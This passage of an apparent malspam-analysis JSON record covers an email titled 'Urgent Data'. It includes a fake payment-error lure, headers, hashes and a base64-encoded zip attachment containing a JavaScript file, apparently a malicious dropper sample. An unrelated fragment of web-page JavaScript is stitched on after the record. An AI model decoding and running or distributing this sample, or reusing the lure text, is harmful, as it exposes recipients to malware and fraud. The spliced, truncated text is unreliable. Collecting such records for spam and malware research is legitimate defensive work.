Xy82sv129EJ6mcf2GdJEg+patmG8rrU1yoG6VsvTyod+CpW+Hm9d5kH3r792RP2tMoVtn/+zkxic\nosG/fX4j5/obCv4ONOPGeAjXUmkQeNB92DsTHoZ3f7nUUEh92C9lvabYns/NwaujEzOoGuHG1qut\nR207gU3/NPROeWqlTe/jdSUC7YWUDRamCg+7YRJnIdR+MTcz/6tvdfvPi/5wx2adncnUn3HYWdA9\njKEv59S9vzX94TtzaYcHDWwwLRamgeYnYH5bO5t4OO2YDHCQL4fB9fv/04i7KCeVqUn3eBO8CwH2\nu9c/N+8KOM5bgcR8exOU12vr69svt759/9XP8cYgtWtGOK6q+T/X162zA/uP/7Enm0ttn1vhRVd6\not5r+A16GIQ2tqamX1bjeWm5LauJWbQns/XxxdXSDE8vh0Dgrdjj0AyK8nyyMO1Bcbo+kV+Gp8Ol\n/PHd9Kv+YlYUQ+7m5Oj48uSq/OG9zM3wbDrtm6mdsOVkwH2NT83l4qzIpj+8t0VVnBtzXEy5n4vl\niSo/n4VQon7x5oQD8MPrp8/fjHZ1ebn5JNv9NUSe3XwxyujZg/mz5ZMn+4urq1TvQE/uPy0SevKX\npdqVG1++vB6cQs89m2U3UX83Je4Nysm8ohfeaX7vLReVOa3/hrnh1UxTegT2eOPseyn5fW1Ae29s\nplOwy40z7VkjbWe98ONlolofL7OcfkT2Ryroh6EfScv9lf8zS+mbpm+Svo1ucUP68TuOHlPxzbca\nrG/BGf0uDtv327ZtdKNpTwsfL6WyrSVkiP13aL9H9e/kCHPEo5nvyEWusnF+P4giGfL7IvZdpJwp\nmlXtahjS5xEUmk93jsR3Y7M+8Ia1b+SAPO8+8/rz5vfJoP6MZf0pzf24xP2efH/nM4K4e0DrJnop\nsZANu2VB1rPPsffcZWdxL3xsKmgptnSh+z3bt13lx0VZve5XY9pSXiMWH5xqPrahx7zHY+iYRzDf\nMY/zPHbMq3v1Yx7ySXCtKpcQX4+/n89W22JS7NdbQArzzIWnuglLKBx9u2ZylefQaYd/2ApG/enC\nYCbbXe5b8+XMLKon9hxiyka4vzDlPzaOzawKW+GL4mpiF/H1pB0FDbuyzvvV5GhqOsGLvd3tIG3b\nEHg/mQ2Li0Xw8l2g2lETc1UvXLRMa9Yagjm2Sf9vleBibKeLTzXjYVnShnYF7FfGBmDSDNziZOfG\n1Ji5nXEiiryG2sAAd/WE5POFQPLkxvHNEr5lDfS3bvHE047dTv1qN6SNUEZCkZ/Xf/p5MPhUzADr\n+MSBeO6tWcyL2cI8KoZLaNzzYjGh/NmN6ov0YfjQP5zjb4bTDLp2H1SPyT9VVzrE2GXMN6nstgca\n5u25G3oDw5unAFnGGu+1DOnKLzvaVnxuou0q9KYEvUAQHQZ/6wZZFvz2m99VPcFoHTWDQTGzG9gz\n4xu1X4SwS6Z3RCcxxObu7mnq9THvDvD474XfTAAbxXemQL1bur8N3ha/rVeXzK0yqUE3rOUfH3Sf\nbveUDu5+xvHNrgzqgDaMQejdrLJfLbTlh9Ipq8mVpJ9/Wl87ssn9M21sBv1qMA4aphl8vY2ca/rD\nfwBQSwECHgMUAAAACADJZX5Js64+BfsLAAD5SwAADAAYAAAAAAABAAAApIEAAAAAdGVzdF90aHVn\nLmpzVVQFAAMKvD5YdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAAEEMAAAAAA==\n", "md5": "778cf2c48ab482d6134d4d12eb51192f", "size": 3241 } ], "analisys_date": "2016-12-15T20:01:20.644074", "date": "2016-12-05T22:02:26", "has_defects": false, "with_forms": false, "subject": "Urgent Data", "phishing_score": 0, "from": "\"Mose Hampton\" ", "path_mail": "/mnt/mails/untroubled.org/mail_thug", "with_attachments": true, "priority": 1, "to": "", "with_urls_attachments": false, "sha256": "6dd34c3f043ca065ec85dbeb62042a67b4cfe4f0407688451cdc17b3f699c4c2", "sha512": "f9b52ee68d03fcff05d3c7627a78dbb4ac49df9d890d7b2985f661d803eec0f04f729f9b015d97d60792843fd9053efe4a81593a69ffcc2bed183b8955aa481a", "message_id": "<1697564680.096043.02349.server@test.comt>", "body": "Dear loisalvo,\r\n\r\nThe error occurred during payment. Sending you details of the transaction.\r\nPlease pay the remaining amount as soon as possible.\r\n\r\n\r\n---\r\nKing Regards,\r\nMose Hampton", "with_phishing": false, "mailbox": "untroubled", "sender_ip": "77.29.6.204", "ssdeep": "3:8V8AUQzgKGuw6CQ7GCKDrSmDGRMK3EXRNS2MLZFh7/FYCWlgovDLGwCoeAF2IOL:8VRvzIuwmGNhGLEBNNMvNFYCWlvyIk", "has_anomalies": false, "md5": "33942c2649e0aca5292ce997a977a254", "sha1": "1eebe2758e1482de8c0a62f37bdd802deb2ffd92", "headers": "Return-Path \nDelivered-To loisalvo@test.com\nReceived (qmail 29099 invoked from network); 5 Dec 2016 21:02:15 -0000\nReceived from unknown (HELO ?77.29.6.204?) (77.29.6.204)\n by smtp.customers.net with SMTP; 5 Dec 2016 21:02:15 -0000\nFrom \"Mose Hampton\" \nTo \nSubject Urgent Data\nDate Mon, 05 Dec 2016 22:02:26 +0200\nMIME-Version 1.0\nContent-Type multipart/related; boundary=\"07c2af1108da05c236267ce30245c3b7\"\nMessage-Id <1697564680.096043.02349.server@test.comt>\n", "with_urls_body": false, "is_filtered": false, "mail_server": "untroubled.org" }
1x'+jsonData.discounts[i].name+'-'+jsonData.discounts[i].price+'' + delete_link + '